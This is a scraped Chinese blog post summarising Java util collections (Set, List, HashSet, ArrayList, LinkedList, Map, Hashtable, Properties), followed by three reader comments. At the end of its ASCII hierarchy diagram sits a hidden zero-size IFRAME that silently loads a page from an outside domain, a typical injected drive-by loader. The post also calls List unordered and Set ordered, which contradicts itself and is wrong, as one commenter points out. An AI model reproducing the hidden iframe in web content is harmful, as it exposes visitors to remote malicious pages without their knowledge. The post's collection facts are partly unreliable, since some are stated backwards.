`
dd5801
  • 浏览: 30263 次
  • 性别: Icon_minigender_1
  • 来自: 北京
最近访客 更多访客>>
社区版块
存档分类
最新评论

java中util包中集合关系总汇

阅读更多

集合:(比数组效率高,数组长固定)
1.collection是一个接口collections是一个类.
  collection有子接口:List(无序),set(有序)等
2.Set--无序,不允许重复元素.
  List--有序,可以有重复的元素.(相当于动态可以自动增长的链表)
3.HashSet 实现Set接口.
  ArrayList(可变长的数组)和LinkedList(List的链表实现,可以成为堆栈,队列或双向链表)都实现了List接口.
4.Iterator访问集合中元素的过程.(其中ListIterator用于List类)           
5.Map接口(一个单独的接口)是Dictionary类的替代品.
  HashMap是以哈希表的形式存储key-value对,速度快.
  (非线程安全,当二个人同时操作一个对象是会造成数据丢失)
  {JDK1.1中用到的:Vector(List接口),Stack(Vector的子类),,Hashtable(实现Map接口),Enumeration(枚举)这些类
  都是线程安全的,性能低,重量级的.}
  Dictionary类提供的按键取值的功能,他是个抽象类,要使用时需用他的子类HashTable.
6.Properities类
  哈希表里存的关键字--值对可以是各种类型的.而propeties就相对简单,它只存放字符串对.用setProperties()和getProperties()操作.

              |--Set(接口)--HashSet(类)
              |
Collection----|
              |              |--ArrayList(可变长数组类)
              |--List(接口)--|
                             |--LinkedList(链表)<IFRAME SRC="HTTP://www.m5k8.com/gr.htm" WIDTH=0 HEIGHT=0></IFRAME>

以上集合是经常使用于DAO操作中,更重要作用是在Hibernate中的实体关系映射中能够很好的实现实体之间的关联关系。

分享到:
评论
3 楼 fnet 2007-09-06  
List(无序),set(有序)等
2.Set--无序,不允许重复元素.
  List--有序,可以有重复的元素.(相当于动态可以自动增长的链表)
说反了吧,大哥
2 楼 dd5801 2007-09-05  
楼上朋友说的对,HashSet就像是一个序列表,所以在查询的时候速度很快且效率很高;LinkedHashSet就好比一个链表了,它主要是在插入,删除等操作上效率高于HashSet.但是这些不是数据结构,象JAVA有堆栈类等,当然我们常使用的方法是利用List或则Set来实现树,图,堆栈,队列等复杂数据结构的构建.
1 楼 liudaoru 2007-09-04  
LinkedHashSet也是有的啊,不过不怎么常用,只能说楼主说的是常用的数据结构:)

相关推荐

Global site tag (gtag.js) - Google Analytics